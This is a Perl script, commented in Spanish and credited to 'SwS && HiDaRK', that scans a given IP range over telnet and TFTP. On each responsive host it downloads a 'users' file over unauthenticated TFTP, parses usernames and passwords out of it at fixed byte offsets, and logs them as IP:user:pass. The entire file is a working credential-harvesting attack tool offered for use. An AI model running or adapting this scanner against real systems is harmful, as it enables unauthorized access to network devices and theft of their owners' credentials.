#!/usr/bin/perl

# Autores: SwS && HiDaRK
#
# El codigo de las funciones esta en la parte de arriba y el del "main"
# en la de abajo
#

use Net::TFTP;
use threads;

$MAX_THREADS = 20;

########### INICIO DE FUNCIONES ############
sub next_ip($) {
	my ($ip) = (@_);
	
	if($ip =~ /(\d+)\.(\d+)\.(\d+)\.(\d+)/) {
		($b1, $b2, $b3, $b4) = ($1, $2, $3, $4);
		if($b4 < 255) {
			$b4++;
		} else {
			$b4 = 0;
			if ($b3 < 255) {
				$b3++;
			} else {
				$b3 = 0;
				if ($b2 < 255) {
					$b2++;
				} else {
					$b2 = 0;
					if ($b1 < 255) {
						$b1++;
					} else {
						return -1;
					}
				}
			}
		}
		return "$b1.$b2.$b3.$b4";
	} else {
		return "0.0.0.0";
	}
	
}

sub user_pass($)
{
	my ($f) = (@_);
	my $init, $dist, $char, $full_adr, $size, $user, $pass;
	
	open(FILE,$f);
	read(FILE, $init, 4);
	if( $init eq "00.3" ) {
		for( $dist = 0x200 ; $dist <= 0x920 && ($char=ord($char)) != 27 ; $dist += 0x100 ) {
			$full_adr = ($dist + 0x0d);
			seek(FILE, $full_adr, 0);
			read(FILE, $char, 1);
		}
		if( $char == 27 ){
			$full_adr = $full_adr + 0x13;
			seek(FILE, $full_adr, 0);
			read(FILE, $size, 1);
			$size = ord($size) - 2;
			if( $size <= 32 && $size > 0 ) {
				read(FILE, $user, $size);
				seek(FILE, 1, 1);
				read(FILE, $size, 1);
				$size = ord($size) - 2;
				if( $size <= 32 && $size > 0 ) {
					read(FILE, $pass, $size);
				}
			}
		}
	} else {
		($user, $pass) = (-1, -1);
	}
	close(FILE);
	return ($user, $pass);
}

sub scan_host(*) {
	local (*IP) = (@_);
	my $user, $pass;

	$socket = IO::Socket::INET->new(PeerAddr => $IP{'current'},
	                                PeerPort => 23,
	                                Proto => tcp,
	                                Timeout => 1
	);
	if($socket) {
		my $t = Net::TFTP->new("$IP{'current'}",
		                       Timeout => 1,
		                       Retries => 1
		);
		if($t) {
			$t->get("users",".$IP{'current'}_users");
			($user, $pass) = user_pass(".$IP{'current'}_users");
			if( ($user != -1) && ($pass != -1) ) {
				open (LOG, ">> $IP{'logfile'}");
				print "$IP{'current'}:$user:$pass\n";
				print LOG "$IP{'current'}:$user:$pass\n";
				close(LOG);
			}
			unlink(".$IP{'current'}_users");
		}
	}
	close(NMAP);
}

sub scan(*) {
	local (*IP) = (@_);
	my @tid, $i, $j, $end;

	$end = 0;
	
	do {
		for($i = 0; $i < $MAX_THREADS; $i++) {
			$tid[$i] = threads->create("scan_host", \%IP);
			$IP{'current'} = next_ip($IP{'current'});
			$j = $i;
			if($IP{'current'} eq next_ip($IP{'end'})) {
				$end = 1;
				last;
			}
		}
		for($i = 0; $i <= $j; $i++) {
			$tid[$i]->join();
		}
	} while(!$end)
}
######### FIN DE FUNCIONES ##########




############### MAIN ################
print " ===============\n";
print "{ SwS && HiDaRK }\n";
print " ===============\n";

if($#ARGV != 2) {
	print "Uso: $0 <ip inicion> <ip fin> <log file>\n";
	exit -1;
}

my %IP;

$IP{'start'} = $ARGV[0];
$IP{'current'} = $IP{'start'};
$IP{'end'} = $ARGV[1];
$IP{'logfile'} = $ARGV[2];

scan(\%IP);
#####################################
